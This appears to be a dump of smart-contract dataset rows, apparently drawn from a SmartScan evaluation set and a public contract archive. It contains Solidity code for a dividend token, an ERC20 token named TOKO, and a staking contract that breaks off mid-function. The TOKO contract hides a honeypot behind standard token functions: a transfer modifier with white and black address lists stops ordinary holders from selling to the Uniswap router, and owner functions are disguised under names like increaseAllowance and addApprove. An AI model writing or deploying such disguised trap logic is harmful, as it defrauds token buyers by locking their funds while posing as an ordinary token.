// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 188,617 | 393 |
2c51a256b35ed8f58ecf75e5988e0f3fa05102db904a9b6ee37bf32b1dffc748
| 29,227 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/TOKO-0x8cce694cb6c8b310b18d0a335b5a79fccb1c0402.sol
| 3,395 | 12,609 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TOKO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 207,021 | 394 |
b38ed243868beae9870c698c3be65ac92db9aae118f313c3a2b40a2bc6cf6e95
| 27,442 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/4f/4fD9be05a7420b7FFE93c9D7B5430c68E2724598_SeedStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SeedStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
